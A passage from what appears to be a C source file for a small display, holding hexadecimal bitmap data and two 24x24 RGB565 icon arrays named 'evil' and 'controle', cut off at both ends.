0x00,0x00,0x01,0xf8,0x00,0x7b,0xf0,0x00,0x00,0x00,0x00,0x00,0x03,0xe3,0xc0,0x00,0x00,0xff,0x07,0xff,0xf9,0xf0,0x00,0x00,0x00,0x00,0x00,0x07,0xf0,0x00,0xf3,0xf8,0x00,0x00,0x00,0x00,0x00,0x0f,0xe3,0xc0,0x00,0x01,0xfc,0x1f,0xff,0xc3,0xe0,0x00,0x00,0x00,0x00,0x00,0x0f,0xe0,0x00,0xf1,0xfe,0x00,0x00,0x00,0x00,0x00,0x1f,0xe3,0xc0,0x00,0x03,0xf0,0x7f,0xf0,0x0f,0xe0,0x00,0x00,0x00,0x00,0x00,0x1f,0x80,0x00,0xf1,0xff,0x80,0x01,0x00,0x00,0x00,0x7f,0xc7,0xc0,0x00,0x07,0xe0,0xff,0xf8,0x7f,0xc0,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,0xf0,0xff,0xf0,0x0f,0x00,0x7c,0x03,0xff,0x87,0x80,0x00,0x0f,0x81,0xfc,0xf1,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0x00,0x00,0xf0,0x3f,0xff,0xfe,0x00,0x3f,0xff,0xff,0x07,0x80,0x00,0x1f,0x07,0xf0,0x67,0xfe,0x00,0x00,0x00,0x00,0x00,0x03,0xf8,0x00,0x01,0xe0,0x1f,0xff,0xf8,0x00,0x0f,0xff,0xfc,0x07,0x80,0x00,0x3e,0x0f,0xe0,0x0f,0xf8,0x00,0x00,0x00,0x00,0x00,0x07,0xf0,0x00,0x01,0xe0,0x03,0xff,0xc0,0x00,0x01,0xff,0xf0,0x0f,0x80,0x00,0x3e,0x0f,0x80,0x3f,0xc0,0x00,0x00,0x00,0x00,0x00,0x0f,0xe0,0x00,0x01,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x7c,0x1f,0x00,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x80,0x00,0x03,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x78,0x3f,0xe0,0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0xf8,0x7f,0xe2,0xf8,0x00,0x00,0x00,0x00,0x00,0x01,0xfc,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0xf0,0x7b,0xe7,0xf0,0x00,0x00,0x00,0x00,0x00,0x03,0xf8,0x00,0x00,0x07,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1e,0x00,0x00,0xf0,0xfb,0xc7,0xe0,0x00,0x00,0x00,0x00,0x00,0x0f,0xe0,0x00,0x00,0x07,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1e,0x00,0x01,0xe0,0xf3,0xc7,0xe0,0x00,0x00,0x00,0x00,0x00,0x1f,0xc0,0x00,0x00,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x00,0x01,0xe1,0xf3,0xc7,0xc0,0x00,0x00,0x00,0x00,0x00,0x3f,0x80,0x00,0x00,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x01,0xe1,0xe0,0x07,0x80,0x00,0x00,0x00,0x00,0x00,0xfe,0x00,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x03,0xe3,0xe0,0x07,0x80,0x00,0x00,0x00,0x00,0x01,0xfc,0x00,0x00,0x00,0x3e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x03,0xc3,0xc0,0x0f,0x80,0x00,0x00,0x00,0x00,0x03,0xf0,0x00,0x00,0x00,0x3c,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x00,0x78,0x00,0x03,0xc3,0xc0,0x0f,0x00,0x00,0x00,0x00,0x00,0x07,0xe6,0x00,0x00,0x00,0x7c,0x00,0x00,0x1f,0xc0,0x00,0x00,0x00,0x00,0xf8,0x00,0x03,0xc3,0xc0,0x0f,0x00,0x00,0x00,0x00,0x00,0x1f,0xef,0x80,0x00,0x00,0x78,0x00,0x00,0x3f,0xc0,0x00,0x00,0x00,0x00,0xf0,0x00,0x03,0xc7,0xde,0x7f,0x00,0x00,0x00,0x00,0x00,0x3f,0xff,0xc0,0x00,0x00,0xf0,0x00,0x00,0x3c,0x00,0x00,0x00,0x00,0x01,0xf0,0x00,0x07,0xc7,0xbe,0x7e,0x00,0x00,0x00,0x00,0x00,0x7f,0xff,0xe0,0x00,0x01,0xf0,0x00,0x00,0x3e,0x00,0x00,0x00,0x00,0x01,0xe0,0x00,0x07,0x87,0xbe,0xfe,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xf8,0x00,0x01,0xe0,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x01,0xe0,0x00,0x07,0x87,0xbc,0x7e,0x00,0x00,0x00,0x00,0x01,0xff,0xf8,0xfc,0x00,0x03,0xe0,0x00,0x00,0x1f,0xc0,0x00,0x00,0x18,0x03,0xe0,0x00,0x07,0x87,0xbe,0x3e,0x00,0x00,0x00,0x00,0x03,0xff,0xf0,0x7e,0x00,0x07,0xc0,0x00,0x00,0x0f,0xf0,0x00,0x00,0x78,0x03,0xc0,0x00,0x07,0x87,0x9e,0x1e,0x00,0x00,0x00,0x00,0x07,0xef,0xe0,0x3e,0x00,0x0f,0x80,0x00,0x00,0x0e,0xfc,0x00,0x00,0xf8,0x07,0xc0,0x00,0x07,0x87,0x80,0x1e,0x00,0x00,0x00,0x00,0x0f,0xcf,0xc0,0x7c,0x00,0x0f,0x00,0x00,0x00,0x07,0x3f,0x80,0x07,0xe0,0x07,0x80,0x00,0x07,0x87,0x80,0x1e,0x00,0x00,0x00,0x00,0x1f,0x9f,0x80,0x78,0x00,0x1f,0x00,0x00,0x00,0x03,0x8f,0xff,0xff,0xc0,0x07,0x80,0x00,0x07,0x87,0x80,0x1e,0x00,0x00,0x00,0x00,0x1f,0x1f,0x00,0xfc,0x00,0x3e,0x00,0x00,0x00,0x01,0x83,0xff,0xff,0x00,0x0f,0x80,0x00,0x07,0x87,0x80,0x1e,0x00,0x00,0x00,0x00,0x3e,0x1f,0x01,0xfe,0x00,0x7c,0x00,0x00,0x00,0x00,0x00,0x7f,0xfc,0x00,0x0f,0x00,0x00,0x07,0x87,0x80,0x0f,0x00,0x00,0x00,0x00,0x7c,0x0f,0x83,0xff,0x00,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x07,0x87,0x88,0x0f,0x00,0x00,0x00,0x00,0xf8,0x0f,0xc7,0xdf,0xc1,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0x07,0x87,0xdc,0x1f,0x80,0x00,0x00,0x00,0xf8,0x07,0xff,0xc7,0xe3,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1e,0x00,0x00,0x07,0x83,0xde,0x3f,0x80,0x00,0x00,0x01,0xf0,0x03,0xff,0xf3,0xf3,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1e,0x00,0x00,0x07,0xc3,0xfc,0x3f,0xc0,0x00,0x00,0x01,0xe0,0x00,0xff,0xf9,0xff,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1e,0x00,0x00,0x07,0xc3,0xfe,0x3f,0xe0,0x00,0x00,0x03,0xe0,0x00,0x7c,0xfc,0xff,0xbc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x00,0x00,0x03,0xc3,0xdf,0x03,0xe0,0x00,0x00,0x03,0xc0,0x00,0x00,0x7e,0x7f,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x00,0x03,0xc3,0xdf,0x01,0xf0,0x00,0x00,0x07,0xc0,0x00,0x00,0x3f,0x3f,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x00,0x03,0xc3,0xce,0x00,0xf0,0x00,0x00,0x07,0x80,0x00,0x00,0x1f,0x9e,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x00,0x03,0xc3,0xc0,0x00,0xf0,0x00,0x00,0x0f,0x80,0x00,0x00,0x0f,0xfe,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x00,0x03,0xc3,0xc0,0x00,0xf8,0x00,0x00,0x0f,0x00,0x00,0x00,0x07,0xfc,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x03,0xc3,0xc0,0x00,0x78,0x00,0x00,0x0f,0x00,0x00,0x00,0x03,0xfc,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x07,0xc3,0xc0,0x00,0x78,0x00,0x00,0x0f,0x00,0x00,0x00,0x01,0xf8,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x07,0x83,0xc0,0x00,0x78,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0xf8,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x07,0x83,0xc8,0x00,0x78,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf8,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x0f,0x83,0xdc,0x00,0x7c,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf0,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x0f,0x03,0xfc,0x07,0x7c,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf0,0x3c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x1f,0x07,0xbc,0x07,0xbc,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf0,0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x1f,0x07,0xbe,0x0f,0xbc,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf0,0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x3e,0x07,0xbe,0x0f,0xfc,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf0,0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x7c,0x07,0x9e,0x07,0xfc,0x00,0x00,0x1e,0x00,0x00,0x00,0x01,0xf0,0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0xfc,0x0f,0x8c,0x03,0xfc,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf0,0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x01,0xf8,0x0f,0x00,0x00,0x7c,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf0,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x03,0xf0,0x0f,0x00,0x00,0x78,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf0,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x07,0xe0,0x1f,0x00,0x00,0x78,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf0,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x00,0x0f,0xc0,0x1e,0x00,0x00,0x78,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf1,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x3f,0x80,0x3e,0x00,0x00,0x78,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xf1,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x80,0xff,0x00,0x3c,0x00,0x00,0x78,0x00,0x00,0x1e,0x00,0x00,0x00,0x00,0xfb,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xff,0xfe,0x00,0x7c,0x00,0x00,0xf0,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x7b,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xff,0xf8,0x00,0xfb,0x80,0x00,0xf0,0x00,0x00,0x0f,0x00,0x00,0x00,0x00,0x7f,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xff,0xe0,0x00,0xff,0x80,0x00,0xf0,0x00,0x00,0x0f,0x00,0x00,0x00,0x00,0x3f,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xff,0x80,0x01,0xff,0x80,0x01,0xf0,0x00,0x00,0x0f,0x00,0x00,0x00,0x00,0x3f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x03,0xef,0x80,0x01,0xe0,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xcf,0x80,0x03,0xe0,0x00,0x00,0x07,0x80,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x87,0x80,0xc3,0xc0,0x00,0x00,0x07,0x80,0x00,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x81,0x01,0xe7,0xc0,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7e,0x00,0x01,0xe7,0x80,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x07,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xfc,0x00,0x01,0xff,0x80,0x00,0x00,0x03,0xc0,0x00,0x00,0x00,0x03,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xf8,0x00,0x01,0xff,0x00,0x00,0x00,0x03,0xe0,0x00,0x00,0x00,0x01,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xff,0xf6,0x00,0x00,0xff,0x00,0x00,0x00,0x01,0xe0,0x00,0x00,0x00,0x00,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xff,0xcf,0x00,0x00,0x3e,0x00,0x00,0x00,0x01,0xf0,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xff,0x1f,0x00,0x00,0x7c,0x00,0x00,0x00,0x00,0xf0,0x00,0x00,0x00,0x00,0x3f,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xf8,0x1f,0x00,0x00,0xf8,0x00,0x00,0x00,0x00,0xf8,0x00,0x00,0x00,0x00,0x0f,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1e,0x00,0x01,0xf0,0x00,0x00,0x00,0x00,0x78,0x00,0x00,0x00,0x00,0x07,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1e,0x00,0x07,0xf0,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x00,0x00,0x03,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0xc0,0x00,0x00,0x00,0x00,0x3c,0x00,0x00,0x00,0x00,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x80,0x00,0x00,0x00,0x00,0x3e,0x00,0x00,0x00,0x00,0x00,0x3f,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xff,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x00,0x1f,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xfc,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x00,0x00,0x07,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0xf8,0x00,0x00,0x00,0x00,0x00,0x0f,0x80,0x00,0x00,0x00,0x00,0x01,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0xe0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; - -const uint16_t evil[576]= { -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0001,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x48B1,0x1025,0x793C,0x1846,0x813D,0x1847,0x40AF,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0801,0x58F5,0x895F,0x2048,0x6919,0x895F,0x1846,0x895F,0x793C,0x1025,0x895F,0x6918,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0802,0x7119,0x895F,0x711A,0x286A,0x895F,0x895F,0x1846,0x895F,0x895F,0x40AE,0x60F5,0x895F,0x793C,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x58F4,0x895F,0x895F,0x40AF,0x60F6,0x895F,0x895F,0x1846,0x895F,0x895F,0x711A,0x306A,0x895F,0x895F,0x7119,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0001,0x1846,0x2048,0x306B,0x0823,0x388D,0x40AE,0x48B0,0x0823,0x48B1,0x40AE,0x40AE,0x0802,0x306B,0x2068,0x1846,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x60F7,0x895F,0x813D,0x711A,0x1024,0x60F7,0x60F6,0x58F5,0x1024,0x58F5,0x60F6,0x60F7,0x2048,0x60F6,0x813D,0x895F,0x793B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0801,0x895F,0x895F,0x895F,0x793C,0x2869,0x895F,0x895F,0x895F,0x1846,0x895F,0x895F,0x895F,0x388E,0x68F7,0x895F,0x895F,0x895F,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000, -0x1846,0x895F,0x895F,0x895F,0x6919,0x308C,0x895F,0x895F,0x895F,0x1846,0x895F,0x895F,0x895F,0x48B1,0x58D4,0x895F,0x895F,0x895F,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0801,0x1846,0x1846,0x1846,0x1024,0x0822,0x1846,0x1846,0x1846,0x0001,0x1846,0x1846,0x1846,0x1023,0x1023,0x1846,0x1846,0x1846,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000, -0x2047,0x895F,0x895F,0x895F,0x6919,0x388C,0x895F,0x895F,0x895F,0x1846,0x895F,0x895F,0x895F,0x50D2,0x50D3,0x895F,0x895F,0x895F,0x308C,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0802,0x895F,0x895F,0x895F,0x793C,0x2869,0x895F,0x895F,0x895F,0x1846,0x895F,0x40AF,0x306B,0x286A,0x60F6,0x895F,0x895F,0x895F,0x1847,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x6918,0x895F,0x895F,0x895F,0x1846,0x793B,0x793B,0x711A,0x1024,0x7119,0x2048,0x58D4,0x40AE,0x1825,0x40AF,0x713B,0x793D,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x1024,0x1846,0x1846,0x1846,0x0801,0x2869,0x286A,0x306B,0x0802,0x308C,0x2869,0x388D,0x895F,0x895F,0x60F6,0x286A,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x68F7,0x895F,0x895F,0x388E,0x60F7,0x895F,0x895F,0x1846,0x895F,0x895F,0x1845,0x895E,0x895F,0x895F,0x895F,0x793C,0x50D2,0x1845,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x1023,0x793C,0x895F,0x6919,0x308C,0x895F,0x895F,0x1846,0x895F,0x895F,0x388D,0x58F5,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x7119,0x388D,0x0802,0x0000, -0x0000,0x0000,0x0000,0x1023,0x7119,0x895F,0x1846,0x793B,0x895F,0x1846,0x895F,0x815E,0x1025,0x2869,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0001, -0x0000,0x0000,0x0000,0x0000,0x0000,0x388D,0x50D3,0x1846,0x815E,0x1846,0x895F,0x286A,0x50D3,0x1024,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918,0x2047,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x0802,0x1845,0x0000,0x0000,0x0000,0x48B0,0x895F,0x895F,0x895F,0x895F,0x793B,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x895F,0x895F,0x895F,0x793B,0x895F,0x58D4,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x6918,0x895F,0x6918,0x0000,0x58D4,0x895F,0x58D4,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x308C,0x895F,0x2047,0x0000,0x0000,0x58D4,0x7119,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0801,0x58F5,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 -}; - -const uint16_t controle[576]= { -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x2047,0x2047,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x813D,0x895F,0x895F,0x895F,0x895F,0x813D,0x40AF,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x408E,0x1846,0x0823,0x0823,0x1846,0x408E,0x286A,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x40AE,0x50D2,0x50D2,0x408E,0x1025,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D2,0x793C,0x60F7,0x60F7,0x793C,0x50D2,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0000,0x0000,0x0000,0x0000,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x388E,0x60F6,0x793B,0x815E,0x815E,0x793B,0x60F6,0x388E,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x58F5,0x793C,0x793C,0x58F5,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x0000,0x58F5,0x58F5,0x0000,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x306B,0x6918,0x6918,0x306B,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x306B,0x6918,0x6918,0x306B,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, 